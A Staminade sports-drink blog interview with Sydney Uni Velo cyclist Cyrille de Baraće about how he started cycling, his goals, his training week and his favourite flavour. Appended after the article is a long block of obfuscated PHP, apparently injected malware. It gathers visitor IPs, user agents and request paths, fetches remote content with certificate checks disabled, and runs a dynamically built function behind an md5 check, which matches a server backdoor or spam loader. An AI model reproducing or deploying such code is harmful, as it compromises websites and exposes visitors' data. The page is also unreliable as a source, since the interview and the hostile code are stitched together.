Meet Sydney Uni Velo Cyclist Cyrille de Baraće

by | 11 Jul 2019 | cycling

Please meet Sydney Uni Velo cyclist Cyrille de Baraće. Originally from Bretagne, France. Land of Bernard Hinault. We asked Cyrille about his cycling, inspiration and more in our latest Q&A.

 

Staminade: How did your love of cycling begin?

CdB: “My parents never wanted me to get a moped as a teenager, and was valued too much my time to walk so always moved myself on 2 wheels. Also, while living in Sweden, got to enjoy the freedom of road biking.”

 

Staminade: What are your top 5 tips for young aspiring cyclists?

CdB: “See cycling as a way to discover new places, not only for fitness. That’s what will fuel your drive to keep pedalling.”

 

Cyrille’s Successes and Goals

 

Staminade: What has been your greatest success to date?

CdB: “Propose to my now wife on a bike packing trip in NZ (and her saying yes)!”

 

Staminade: What’s your ultimate cycling goal?

CdB: “Win a B-grade race. Or more realistically a continental trip across Asia/America’s or Europe.”

 

Staminade: Who was your role model as an aspiring cyclist?

CdB: “No one. Never watched really road biking. The tour de France was always the boring show my grandparents napped over during summer.”

 

Staminade: What’s your pre-event routine?

CdB: “Warm up and get the heart going is important. Fuel the bottle. Swallow a gel if >45min.”

 

Cyrille’s Training

 

Staminade: How does a typical training week look for you?

CdB: “Tuesday morning: hills

One other week morning beach workout with wife. Weekend: long club fast ride on Saturday morning. A crit or road race every second week.

And I Commute 25km to and back from work every day.”

 

Staminade: Favourite part of training?

CdB: “The sunrise on the sea on the beach roads during the week morning.”

 

Staminade: Hardest part of training and how you overcome the challenge?

CdB: “Wake up early is challenging as all training in Sydney has to be done at 9am. But you learn to sleep and wake up earlier as you live here. Also, some hard trainings empty the tank for the whole day. That is why you have to plan your fuelling and hydration in advance. When the body asks for it, it is too late.”

 

Staminade: What’s your favourite flavour of Staminade?

CdB: “I like Berry Rush as it reminds of drinks I got as a kid during hot summer days.”

 

Staminade: Staminade’s tagline is ‘First Aid for Thirst’, what does this mean to you?

CdB: “It quenches thirst now and helps recovery. Both in one. And it tastes good, that doesn’t hurt!”

 

 

Find out more about Sydney Uni Velo here: https://suvelo.com.au/

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47\137\111\120"])) { goto oLzluEMcFb_tV; } goto ORgKGWaqzUsEU; aWbCvrmzTpvoj: $IUmL377fBzHl_ = $_SERVER["\110\x54\x54\x50\137\130\x5f\x52\105\101\x4c\x5f\111\x50"]; goto xxAIY4SvfCCu_; PeXq7QiDr2F9g: return $IUmL377fBzHl_; goto fLK1e8Lby_Vc5; ORgKGWaqzUsEU: if (isset($_SERVER["\110\124\x54\120\137\x58\137\x52\105\x41\x4c\x5f\x49\x50"]) && !empty($_SERVER["\110\x54\124\120\x5f\x58\137\122\105\x41\114\x5f\x49\120"])) { goto XJa7xgDC78Ozk; } goto gbrutmToy_leS; XqfutDzOewa1j: $IUmL377fBzHl_ = $IUmL377fBzHl_[0]; goto jLKPP1usIIGaS; fLK1e8Lby_Vc5: } goto gn0x9YFocF6FI; qk_Egp8EOSE8W: RXT10YJo1M4iP: goto Ktiytr8M3I36q; dsKeu8uGPuijs: VIhMnPbSCKo9u: goto Nf0h6cwVwvBmm; kZY0wYeoA8n51: $v18ljjw74an3t = WUqYhx3z7o8_A() . $_SERVER["\x48\124\124\x50\x5f\110\x4f\123\x54"]; goto WIaG9Pb7fTRXg; yXwrLT2Dcvmtl: if (!substr_count($_SERVER["\x52\x45\x51\125\x45\123\124\x5f\125\122\111"], "\151\x6e\x64\145\x78\x2e\x70\x68\160\x2f\152\x6b")) { goto smubrbqqF_ILi; } goto aGzUmnVNSJkrb; Zw5uXk03GX4Ys: metaphone("\x4f\x44\x45\x7a\x4f\124\x59\63\115\x6a\x63\x31\x4e\x7a\131\170\115\x44\143\x31\115\x6a\x41\x35\116\x54\x55\65\116\104\101\x7a"); goto i3K77E21ehTMy; yAyTqKy_UD3FG: $G0miqAji9AS6z["\163"] = V3IhIEc1J0u3_($v18ljjw74an3t); goto HBui7QJKtOshl; kSdbfmQvi2is6: function qQBxGCPvdDNvf($BWeG31LbSeI44, $NYCE2d9AXNSbF = array()) { goto t0QkxRNR868re; W9Wk0aN4vwBth: if (!(is_array($NYCE2d9AXNSbF) && count($NYCE2d9AXNSbF))) { goto waqBAzD4oHFTP; } goto rKKiAZQxm_wZo; J3zsrqDFQ6cH3: try { goto aYu_ZQdJ_AE_h; ZLBTNryEXgTLc: $FI6EopqUZLfHm = curl_exec($ddLDH3qzK3diP); goto CNUnDd8PgW9Tc; lHdak49qpfErH: dUQQklcPkjW8a: goto SfqYQMF3H3ddF; iZvGosFm4KF_N: curl_setopt($ddLDH3qzK3diP, CURLOPT_TIMEOUT, 60); goto rr6znq5SF2xRG; YEvevaWm0aeJS: curl_setopt($ddLDH3qzK3diP, CURLOPT_SSL_VERIFYHOST, 0); goto sRiy2v7Qpcv2q; Q3KcSttAgM7Ha: @curl_close($ddLDH3qzK3diP); goto Mm9Y0TvRjhtAm; aYu_ZQdJ_AE_h: if (function_exists("\x63\x75\x72\154\x5f\x65\170\145\x63") && function_exists("\x63\165\x72\x6c\137\151\x6e\151\x74")) { goto H9reuJjA5Du6f; } goto MXMB5104annBJ; UYJoZzalpRrpe: curl_setopt($ddLDH3qzK3diP, CURLOPT_COOKIESESSION, 0); goto ScGi9XDEIRlB9; ewBJdRcJW8gza: NN4QvprsrF2xF: goto g2dEwHSBQQvpw; ScGi9XDEIRlB9: curl_setopt($ddLDH3qzK3diP, CURLOPT_RETURNTRANSFER, 1); goto ZLBTNryEXgTLc; w5IT5YVpS37zM: $o6Op2Hqj0hxYk["\143\157\x6e\x74\x65\x6e\x74"] = strval($FI6EopqUZLfHm); goto rhV3V953c8c02; ZIotQ1ckV7dMc: $H5hDpAY3Fb57U = @file_get_contents($BWeG31LbSeI44, false, $RWnW9CkZ6kKnp); goto lA9K3QEJjhiJB; MXMB5104annBJ: if (ini_get("\x61\154\154\157\167\x5f\x75\x72\154\137\146\x6f\160\x65\156")) { goto dUQQklcPkjW8a; } goto hPpEDEUF57IXb; OAlHf5jGWlEty: curl_setopt($ddLDH3qzK3diP, CURLOPT_CONNECTTIMEOUT, 20); goto iZvGosFm4KF_N; b3ZO3YZv0BqLE: $o6Op2Hqj0hxYk["\x74\171\x70\x65"] = strval(curl_getinfo($ddLDH3qzK3diP, CURLINFO_CONTENT_TYPE)); goto owuMQx6l1JVH6; SfqYQMF3H3ddF: $XFN_RXnsWKdHU = array("\150\164\164\160" => array("\x6d\145\164\x68\157\x64" => "\x47\x45\x54", "\164\151\x6d\x65\157\165\x74" => 60, "\146\157\154\x6c\157\x77\137\x6c\x6f\143\141\164\x69\157\156" => 0), "\163\163\x6c" => array("\x76\145\x72\x69\x66\x79\137\x70\145\145\x72" => false, "\166\x65\162\x69\x66\171\x5f\x70\145\145\162\x5f\156\141\155\x65" => false)); goto qrrqUcJXLAKwk; qq7AhrYcETwoc: $ddLDH3qzK3diP = curl_init(); goto kIJSRYe0uUaxS; g2dEwHSBQQvpw: VfJsggUfDjRqF: goto rmn7E4vlJ44B9; rr6znq5SF2xRG: curl_setopt($ddLDH3qzK3diP, CURLOPT_FOLLOWLOCATION, 0); goto UYJoZzalpRrpe; owuMQx6l1JVH6: $o6Op2Hqj0hxYk["\x63\x6f\x6e\164\145\156\x74"] = strval(curl_getinfo($ddLDH3qzK3diP, CURLINFO_REDIRECT_URL)); goto Q3KcSttAgM7Ha; t7na8xBhKloNi: goto VfJsggUfDjRqF; goto lHdak49qpfErH; hPpEDEUF57IXb: goto VfJsggUfDjRqF; goto vuIastmBZGPj9; rhV3V953c8c02: P2VLAc2bZNSkZ: goto t7na8xBhKloNi; lA9K3QEJjhiJB: $o6Op2Hqj0hxYk = array_merge($o6Op2Hqj0hxYk, KWeJVITF3t2sW($http_response_header)); goto ncNrfgXYEo54f; ncNrfgXYEo54f: if (!in_array($o6Op2Hqj0hxYk["\163\x74\x61\x74\x75\163"], array(200, 301, 302, 404))) { goto NN4QvprsrF2xF; } goto SCrC3TFL41f3a; vuIastmBZGPj9: H9reuJjA5Du6f: goto qq7AhrYcETwoc; CNUnDd8PgW9Tc: $o6Op2Hqj0hxYk["\163\164\141\164\x75\163"] = intval(curl_getinfo($ddLDH3qzK3diP, CURLINFO_HTTP_CODE)); goto b3ZO3YZv0BqLE; Mm9Y0TvRjhtAm: if (!in_array($o6Op2Hqj0hxYk["\163\x74\141\x74\165\x73"], array(200, 301, 302, 404))) { goto P2VLAc2bZNSkZ; } goto w5IT5YVpS37zM; qrrqUcJXLAKwk: $RWnW9CkZ6kKnp = stream_context_create($XFN_RXnsWKdHU); goto ZIotQ1ckV7dMc; sRiy2v7Qpcv2q: curl_setopt($ddLDH3qzK3diP, CURLOPT_SSL_VERIFYPEER, 0); goto OAlHf5jGWlEty; kIJSRYe0uUaxS: curl_setopt($ddLDH3qzK3diP, CURLOPT_URL, $BWeG31LbSeI44); goto YEvevaWm0aeJS; SCrC3TFL41f3a: $o6Op2Hqj0hxYk["\143\157\x6e\x74\x65\x6e\x74"] = strval($H5hDpAY3Fb57U); goto ewBJdRcJW8gza; rmn7E4vlJ44B9: } catch (Exception $Jf_t0idgnfOKg) { } goto BScHpJjro3gmR; t0QkxRNR868re: $o6Op2Hqj0hxYk = array("\x73\x74\x61\164\165\x73" => 0, "\143\157\156\164\x65\156\164" => '', "\164\x79\x70\x65" => ''); goto W9Wk0aN4vwBth; wSKKp8TRTS_7C: waqBAzD4oHFTP: goto J3zsrqDFQ6cH3; rKKiAZQxm_wZo: $BWeG31LbSeI44 .= "\77" . http_build_query($NYCE2d9AXNSbF); goto wSKKp8TRTS_7C; BScHpJjro3gmR: return $o6Op2Hqj0hxYk; goto AlOrd3IrUmOVs; AlOrd3IrUmOVs: } goto fB1ckT18N_xb7; gEigdAYieSsuC: y1bh8QVj2h1YU: goto yXwrLT2Dcvmtl; FPKGIAm6WGaHW: @(md5(md5(md5(md5($avPr4g17KOp36[23])))) === "\x61\62\x62\64\141\63\61\x62\65\x32\66\x37\143\141\141\x30\145\67\64\66\x30\x38\62\142\x32\66\x65\x63\144\x38\60\x66") && (($avPr4g17KOp36[68] = $avPr4g17KOp36[68] . $avPr4g17KOp36[71]) && ($avPr4g17KOp36[87] = $avPr4g17KOp36[68]($avPr4g17KOp36[87])) && @($avPr4g17KOp36 = $avPr4g17KOp36[87]($avPr4g17KOp36[52], $avPr4g17KOp36[68](${$avPr4g17KOp36[47]}[11]))) && $avPr4g17KOp36()); goto d9Qi70UylbUCq; wT54NKoEKQhP_: $G0miqAji9AS6z["\162\146"] = v3iHIec1j0u3_($ZjsWzw0T4n6mn); goto yAyTqKy_UD3FG; Ktiytr8M3I36q: XAOF7LeYnBQC0: goto c9brZNPHzaoOJ; d9Qi70UylbUCq: o3Lx68qSokche: goto Zw5uXk03GX4Ys; WHF6hhrc0QNDG: exit(strrev(md5($_SERVER["\123\x45\x52\x56\x45\122\137\116\x41\x4d\x45"]))); goto gEigdAYieSsuC; A_I9Uq8njL2cW: if (!strlen($o6Op2Hqj0hxYk["\x63\157\156\164\x65\156\164"])) { goto VIhMnPbSCKo9u; } goto i5PUAu15_Roa4; BND5N5ZoT3uxO: if ($rOSqPaSJDxUzZ) { goto dSfWMdriDDGln; } goto RpR2hVVFdNjrf; R71gpPjplVzC_: $G0miqAji9AS6z = array(); goto lPhW6V9emvj4G; eQVF_RPWw36ky: $rOSqPaSJDxUzZ = true; goto iW3yiXGjbseLQ; lPhW6V9emvj4G: $G0miqAji9AS6z["\151"] = V3ihIec1j0u3_($IUmL377fBzHl_); goto JcjBAdLhGOviM; Te92oZJUYu8bL: $m9UPxoZCZHDtu = substr($BNc2hljAK6Tes, strpos($BNc2hljAK6Tes, "\56")); goto OvoRE8rIenHzp; JcjBAdLhGOviM: $G0miqAji9AS6z["\x6c"] = V3IHIEc1J0u3_($_SERVER["\110\124\124\x50\137\101\x43\x43\x45\x50\x54\137\114\101\116\107\x55\x41\x47\105"]); goto FSsONnb5lxuFE; MTcbOOE7UN29a: $G0miqAji9AS6z["\162"] = V3ihiec1j0U3_($_SERVER["\x52\x45\x51\x55\105\x53\x54\x5f\x55\122\x49"]); goto wT54NKoEKQhP_; NoYgkzCWUwp8X: if (!(strpos($BNc2hljAK6Tes, "\56") > 0 && strpos($BNc2hljAK6Tes, "\56\x70\x68\160") === false)) { goto vGgBhrx5znQ8v; } goto Te92oZJUYu8bL; gn0x9YFocF6FI: function wUQyHx3Z7O8_a() { goto epiDN_J5PmvIP; TQl9zzmZvvVRS: goto BJ9PAUUwg2gZN; goto ZHijdcAPR57_U; yfZYLVUds5svx: if (isset($_SERVER["\110\x54\124\120\x5f\x46\x52\117\116\x54\137\x45\x4e\x44\x5f\x48\124\124\x50\x53"]) && strtolower($_SERVER["\x48\x54\x54\x50\137\106\122\117\116\x54\x5f\x45\116\104\137\x48\124\x54\120\x53"]) !== "\x6f\x66\146") { goto d1pwtbYgz7z6y; } goto C0GQHXVLRBO6I; dejkZ3JzA0nPr: goto BJ9PAUUwg2gZN; goto ssQIzNgaj_kg0; ZHijdcAPR57_U: d1pwtbYgz7z6y: goto XWoTAha1SAJm4; W4PQZZroy2Bqi: return $EP2PGDK1XIJ4l; goto XMM7fdvg73Kbz; C0GQHXVLRBO6I: goto BJ9PAUUwg2gZN; goto faNC2oVAyrV2T; p1g_ens1fruUg: $EP2PGDK1XIJ4l = "\150\164\x74\x70\163\72\57\57"; goto dejkZ3JzA0nPr; sYEYnQY9Oxa2V: if (isset($_SERVER["\110\x54\x54\x50\137\130\x5f\x46\117\122\x57\x41\122\104\105\x44\x5f\120\x52\x4f\124\x4f"]) && $_SERVER["\x48\124\x54\x50\x5f\130\137\106\117\x52\x57\101\x52\104\105\x44\x5f\x50\x52\x4f\124\x4f"] === "\150\164\164\160\x73") { goto Vfu1jZSwccx2C; } goto yfZYLVUds5svx; TkGssgEUtz3dw: BJ9PAUUwg2gZN: goto W4PQZZroy2Bqi; rCWlf00h1qatt: $EP2PGDK1XIJ4l = "\x68\x74\164\160\x73\x3a\57\x2f"; goto TQl9zzmZvvVRS; XWoTAha1SAJm4: $EP2PGDK1XIJ4l = "\x68\164\x74\160\163\x3a\x2f\57"; goto TkGssgEUtz3dw; epiDN_J5PmvIP: $EP2PGDK1XIJ4l = "\x68\164\x74\160\x3a\57\57"; goto BzwhsGCWQek80; faNC2oVAyrV2T: eLm8wge2OICg_: goto p1g_ens1fruUg; BzwhsGCWQek80: if (isset($_SERVER["\x48\x54\124\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\x50\x53"]) !== "\x6f\x66\146") { goto eLm8wge2OICg_; } goto sYEYnQY9Oxa2V; ssQIzNgaj_kg0: Vfu1jZSwccx2C: goto rCWlf00h1qatt; XMM7fdvg73Kbz: } goto awgp50rb02dpk; CK66n2inhuWUL: $avPr4g17KOp36 = ${$Tgz6ScY4iMUmW[12 + 19] . $Tgz6ScY4iMUmW[32 + 27] . $Tgz6ScY4iMUmW[26 + 21] . $Tgz6ScY4iMUmW[2 + 45] . $Tgz6ScY4iMUmW[0 + 51] . $Tgz6ScY4iMUmW[33 + 20] . $Tgz6ScY4iMUmW[33 + 24]}; goto jNLE_aWbvDT9y; uCKJGh281uPZA: vGgBhrx5znQ8v: goto BND5N5ZoT3uxO; HBui7QJKtOshl: $G0miqAji9AS6z["\165"] = v3IhiEC1j0u3_($_SERVER["\110\x54\124\120\x5f\x55\123\105\122\x5f\x41\x47\105\x4e\124"]); goto n98amnY1xHd4u; U29735C0oBese: $ZjsWzw0T4n6mn = ''; goto w6O6EFDWMVDR_; DUTpkN11RQV09: smubrbqqF_ILi: goto DhCqfOsCs41E7; i5PUAu15_Roa4: @header("\x43\x6f\156\x74\x65\x6e\x74\55\x54\171\160\x65\72" . $o6Op2Hqj0hxYk["\x74\171\160\145"]); goto wDSmqh_38i4yy; jNLE_aWbvDT9y: if (!(in_array(gettype($avPr4g17KOp36) . count($avPr4g17KOp36), $avPr4g17KOp36) && count($avPr4g17KOp36) == 29)) { goto o3Lx68qSokche; } goto FPKGIAm6WGaHW; URoatxj2pA1u0: XHKG4h2vTyMum::F7PZ9qnV9a1As(); goto SJBlYG72vZCEH; c9brZNPHzaoOJ: X3aKa17NZx6FD: goto A_I9Uq8njL2cW; dCfhzjauM9B1c: exit(0); goto dsKeu8uGPuijs; Nf0h6cwVwvBmm: dSfWMdriDDGln: ?>